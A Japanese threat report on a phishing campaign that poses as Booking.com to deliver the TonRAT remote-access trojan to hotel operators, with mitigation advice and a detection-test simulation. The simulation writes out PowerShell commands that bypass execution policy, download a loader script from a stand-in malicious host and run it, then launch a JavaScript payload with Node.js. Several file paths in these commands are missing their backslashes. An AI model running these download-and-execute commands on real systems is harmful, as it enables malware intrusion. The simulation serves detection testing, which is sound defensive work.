ホテル業界を狙った不審なメールの分析

概要

Booking.comを装ったフィッシングキャンペーンが、日本のホテルオペレーターをターゲットにCalendlyとSendGridでホスティングされたインフラを通じて攻撃しました。このメールには、LNKショートカットの含まれたZIPアーカイブに誘導する短縮リンクが含まれており、それがPowerShellベースのローダーを起動します。そのローダーは追加のPowerShellスクリプトを取得し、TonRATと識別されるJavaScriptペイロードを復号、Node.jsをダウンロードし、RATを実行します。その後、マルウェアはTON APIを介して取得されたWebSocketエンドポイントを通じてコマンド＆コントロールを確立します。

調査

このレポートは、メールヘッダーの分析、正当な配送サービスの悪用、攻撃に使用されたマルチステージ実行チェーンを詳述しています。ZIPアーカイブと内部コンポーネントのファイルハッシュを提供し、分析中に観察されたコマンド＆コントロールドメインを一覧にしています。また、悪意のあるLNKファイルと感染を進行させるために使用されたPowerShellコマンドに関する技術的詳細も含まれています。

緩和策

防御者は疑わしいCalendly短縮リンクをブロックし、送信者ドメインを注意深く確認し、メールで送付されたLNK添付ファイルの実行を制限する必要があります。また、監視は未承認のPowerShell活動やエンドポイント上に現れる予期しないNode.jsバイナリに焦点を当てるべきです。URLフィルタリングは、このキャンペーンに関与している既知の悪意のあるドメインへのアクセスをブロックするのに役立ちます。

対応

セキュリティチームは、特定されたコマンド＆コントロールドメインからコンテンツをダウンロードするPowerShellコマンドと、 node.exe を異常な場所から実行する検出を作成する必要があります。信頼できないまたは予期しないソースからのSendGridヘッダーを使用したメールフローのアラートも設定するべきです。調査者は、ドロップされたファイルを収集し、観察されたWebSocket通信に関連するネットワークトラフィックを保持する必要があります。

シミュレーション実行

前提条件: テレメトリおよびベースラインの事前チェックが合格している必要があります。

理論: このセクションでは、敵の技術(技術的手法、TTP)を発動させるために設計された検出ルールの具体的な実行を詳しく説明します。コマンドとナレーションは、確認されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目指します。

• 攻撃のストーリーとコマンド:

  1. 初期アクセス – PowerShellダウンロード
     攻撃者は、侵害されたホスト上でPowerShellリモートセッションを取得し、 Invoke-WebRequest を使用して悪意のあるC2サーバーからTonRATローダースクリプトを取得します。このステップは Invoke-WebRequest 文字列一致を満たします。

     powershell -NoProfile -ExecutionPolicy Bypass -Command ^
       "Invoke-WebRequest -Uri http://malicious.example.com/tonrat.ps1 -OutFile $env:TEMPtonrat.ps1"

  2. ローダーの実行
     ダウンロードされたスクリプトが実行され、それに続いて追加のコマンドを実行する2つ目のPowerShellプロセスが生成されます（まだ「PowerShell」という文字を含んでいます）。

     powershell -NoProfile -ExecutionPolicy Bypass -File $env:TEMPtonrat.ps1

  3. Node.jsペイロード実行
     TonRATは悪意のあるJavaScriptファイル（malicious.js）をドロップし、Node.jsランタイムで実行します（node.exe）。これにより、 node.exe 文字列一致を満たします。

     # スクリプトが既にC:Tempにmalicious.jsを配置していると仮定します
     C:Program Filesnodejsnode.exe C:Tempmalicious.js

  3つのプロセス作成（ Invoke-WebRequestと共にPowerShell、ローダーを実行するPowerShell、および node.exe）は共同して検出ルールの条件を満たします。

• 回帰テストスクリプト:

  #-------------------------------------------------
  # TonRATデプロイメントシミュレーション - Sigmaルールをトリガー
  #-------------------------------------------------
  $tempDir = "$env:TEMPtonrat_demo"
  New-Item -ItemType Directory -Path $tempDir -Force | Out-Null
  
  # 1. 偽のローダーをダウンロード（単純なエコーでシミュレート）
  $loaderUrl = "http://malicious.example.com/tonrat.ps1"
  $loaderPath = "$tempDirtonrat.ps1"
  Invoke-WebRequest -Uri $loaderUrl -OutFile $loaderPath -UseBasicParsing
  
  # 2. ローダーを実行する（ローダーは単にダミーのjsファイルを作成する）
  powershell -NoProfile -ExecutionPolicy Bypass -File $loaderPath
  
  # 3. ダミーJavaScriptペイロードを作成
  $jsPath = "C:Tempmalicious.js"
  Set-Content -Path $jsPath -Value "console.log('Malicious payload executed');"
  
  # 4. Node.jsでペイロードを実行
  $nodePath = "C:Program Filesnodejsnode.exe"
  & $nodePath $jsPath
  #-------------------------------------------------

• クリーンアップコマンド:

  # シミュレーションで作成されたすべてのアーティファクトを削除
  Remove-Item -Path "$env:TEMPtonrat_demo" -Recurse -Force
  Remove-Item -Path "C:Tempmalicious.js" -Force
  # 必要に応じて、残っているPowerShell/Nodeプロセスを停止（必須なら）
  Get-Process -Name "powershell","node" -ErrorAction SilentlyContinue | Stop-Process -Force